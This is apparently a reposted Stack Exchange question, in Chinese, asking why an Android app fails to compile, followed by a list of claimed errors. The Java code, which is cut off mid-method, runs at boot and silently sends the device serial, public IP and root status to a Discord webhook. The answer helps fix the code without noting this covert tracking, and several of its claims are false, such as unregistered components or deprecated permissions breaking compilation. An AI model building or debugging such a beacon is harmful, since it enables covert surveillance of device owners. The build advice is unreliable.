Android应用无法编译且无具体错误，请求排查代码问题

我测试一款Android应用代码时遇到编译失败问题，无具体错误提示，以下是Manifest文件和Java代码，请求帮忙找出错误：

Manifest文件内容 #

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="example.myapp">

    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />

    <!-- other manifest declarations here -->

</manifest>

Java代码内容 #

import android.app.*;
import android.content.*;
import android.net.*;
import android.os.*;
import java.io.*;
import java.net.*;
import java.util.*;

public class BootReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Intent serviceIntent = new Intent(context, InternetCheckService.class);
        context.startService(serviceIntent);
    }
}

public class InternetCheckService extends Service {
    private static final String WEBHOOK_URL = "https://discord.com/api/webhooks/1234567890/abcdefghijklmnopqrstuvwxyz";

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        ConnectivityManager connectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
        if (networkInfo != null && networkInfo.isConnected()) {
            try {
                String publicIpAddress = getPublicIpAddress();
                String serialNumber = Build.getSerial();
                boolean isRooted = isDeviceRooted();
                float cpuUsage = getCpuUsage();
                float ramUsage = getRamUsage();
                String message = String.format("Device %s is online with IP address %s\n\nSystem Information:\nRooted: %s\nCPU Usage: %s%%\nRAM Usage: %s%%", serialNumber, publicIpAddress, isRooted ? "Yes" : "No", cpuUsage, ramUsage);
                sendWebhookMessage(WEBHOOK_URL, message);
            } catch (IOException e) {
                e.printStackTrace();
            }
        } else {
            Intent intent = new Intent(this, MainActivity.class);
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        }
        return START_NOT_STICKY;
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private String getPublicIpAddress() throws IOException {
        URL url = new URL("https://api.ipify.org");
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setRequestMethod("GET");
        BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
        String line = reader.readLine();
        reader.close();
        return line;
    }

    private boolean isDeviceRooted() {
        return checkRootMethod1() || checkRootMethod2() || checkRootMethod3();
    }

    private boolean checkRootMethod1() {
        String buildTags = android.os.Build.TAGS;
        return buildTags != null && buildTags.contains("test-keys");
    }

    private boolean checkRootMethod2() {
        String[] paths = {"/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su", "/system/bin/failsafe/su", "/data/local/su"};
        for (String path : paths) {
            if (new File(path).exists()) return true;
        }
        return false;
    }

    private boolean checkRootMethod3() {
        Process process = null;
        try {
            process = Runtime.getRuntime().exec(new String[]{"su", "-c", "id"});
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String output = reader.readLine();
            reader.close();
            return output != null && output.contains("uid=0");
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            if (process != null) {
                process.destroy();
            }
        }
        return false;
    }

    private float getCpuUsage() {
        try {
            RandomAccessFile reader = new RandomAccessFile

排查出的错误点 #

• 代码不完整：getCpuUsage()方法仅定义了开头，缺少方法体闭合、返回语句，属于语法错误，直接导致编译失败。
• 组件未注册：Manifest文件中未声明BootReceiver、InternetCheckService、MainActivity这三个组件，Android要求所有四大组件必须在Manifest中注册才能编译通过。
• 变量重名：onStartCommand方法的else分支中，Intent intent = new Intent(...)与方法参数的intent重名，违反Java语法规则。
• 过时API使用：context.startService(serviceIntent)在Android 8.0+已过时，需改用startForegroundService，否则编译会出现警告，甚至在高版本系统运行失败；GET_TASKS权限已被废弃（Android 5.0+），可能引发编译警告或错误。
• 未实现的方法：sendWebhookMessage()和getRamUsage()方法仅被调用但未实现，编译时会提示方法未定义错误。
• 权限问题：READ_PHONE_STATE权限在Android 10及以上需要额外配置（如在Manifest中添加android:maxSdkVersion或动态申请），否则可能导致编译或运行错误。

内容的提问来源于stack exchange，提问作者dankatapich